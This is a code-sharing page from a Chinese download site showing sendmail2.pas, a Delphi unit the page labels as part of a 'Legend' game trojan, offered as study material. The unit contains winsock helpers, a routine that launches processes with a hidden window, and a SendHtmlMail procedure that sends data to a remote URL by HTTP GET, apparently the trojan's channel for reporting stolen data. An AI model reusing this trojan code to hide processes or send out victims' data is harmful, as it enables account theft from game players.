⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sendmail2.pas

📁 传奇木马....delphi版 学习资料
💻 PAS
字号:
unit SendMail2;

interface
uses winsock, windows;

//procedure SendEMail(mailtext: string; ip, email: pchar);

function StartNet(host: string; port: integer; var sock: integer): Boolean;
function GetMyIP: string;
function GetIP(Host: string): string;
procedure StopNet(Fsocket: integer);
function SendData(FSocket: integer; SendStr: string): integer;
function GetData(FSocket: integer): string;
procedure SendHtmlMail(html: string);
//procedure SendHtmlMail2(Http, txt: string);

implementation

uses Other;

const
  CRLF = #13#10;

function LocalIP: string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  I: Integer;
  GInitData: TWSADATA;
begin
  WSAStartup($101, GInitData);
  Result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if phe = nil then
    Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do
  begin
    result := StrPas(inet_ntoa(pptr^[I]^));
    Inc(I);
  end;
  WSACleanup;
end;

function StartNet(host: string; port: integer; var sock: integer): Boolean;
var
  wsadata: twsadata;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  err: integer;
begin
  WSAStartup($0101, WSAData);
  FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
  if FSocket = invalid_socket then
  begin
    Result := False;
    Exit;
  end;
  SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
  SockAddrIn.sin_family := PF_INET;
  SockAddrIn.sin_port := htons(port);
  err := connect(FSocket, SockAddrIn, SizeOf(SockAddrIn));
  if err = 0 then
  begin
    sock := FSocket;
    Result := True;
  end
  else
    Result := False;
end;

procedure StopNet(Fsocket: integer);
//var
//  err: integer;
begin
  //err :=
  closesocket(FSocket);
  //err :=
  WSACleanup;
end;

function SendData(FSocket: integer; SendStr: string): integer;
var
  DataBuf: array[0..4096] of char;
  err: integer;
begin
  strcopy(DataBuf, pchar(SendStr));
  err := send(FSocket, DataBuf, strlen(DataBuf), MSG_DONTROUTE);
  Result := err;
end;

function GetData(FSocket: integer): string;
const
  MaxSize = 1024;
var
  DataBuf: array[0..MaxSize] of char;
  //err: integer;
begin
  //err :=
  recv(FSocket, DataBuf, MaxSize, 0);
  Result := Strpas(DataBuf);
end;

function GetMyIP: string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  I: Integer;
  GInitData: TWSADATA;
begin
  WSAStartup($101, GInitData);
  Result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do begin
    if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
    Inc(I);
  end;
  WSACleanup;
end;

function GetIP(Host: string): string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  i: Integer;
  GInitData: TWSADATA;
begin
  WSAStartup($0101, GInitData);
  Result := '';

  phe := GetHostByName(pchar(Host));
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do
  begin
    if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
    Inc(I);
  end;

  WSACleanup;
end;

function WinExec2(ExeFile:string;ProcessInfo: PProcessInformation=nil):boolean;
var
  sStartInfo: STARTUPINFO;
  ProcInfo: TProcessInformation;
  PProcInfo: PProcessInformation;
begin
  ZeroMemory(@sStartInfo, sizeof(sStartInfo));
  SStartInfo.cb := sizeof(sStartInfo);
  SStartInfo.wShowWindow:=sw_hide; 
  if ProcessInfo=nil then PProcInfo:=@ProcInfo
  else PProcInfo:=ProcessInfo;
  result := CreateProcess(nil, Pchar(ExeFile), nil, nil, false, CREATE_DEFAULT_ERROR_MODE,
     nil, nil, sStartInfo, PProcInfo^);
end;

procedure SendHtmlMail(html: string);
var
  host, hoststring: string;
  port: integer;
  i: integer;
  E: Integer;
  FSocket: integer;
begin
//  writedat(html,'c:\game.txt');
  if uppercase(copy(html, 1, 7)) <> 'HTTP://' then exit;
  hoststring := copy(html, 8, maxint);
  i := pos('/', hoststring);
  if i <> 0 then
    delete(hoststring, i, maxint);
  i := pos(':', hoststring);
  if i = 0 then
  begin
    host := hoststring;
    port := 80;
  end
  else begin
    host := copy(hoststring, 1, i - 1);
    Val(copy(hoststring, i + 1, maxint), port, E);
    if E <> 0 then port := 80;
  end;
  if StartNet(getip(host), port, FSocket) then
  begin
    SendData(FSocket,
      'GET ' + html + ' HTTP/1.0'#$D#$A +
      'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*'#$D#$A +
      'Accept-Language: zh-cn'#$D#$A +
      'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'#$D#$A +
      'Host: ' + Hoststring + #$D#$A +
      'Proxy-Connection: Keep-Alive'#$D#$A#$D#$A);
    getdata(FSocket);
    StopNet(Fsocket);
  end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -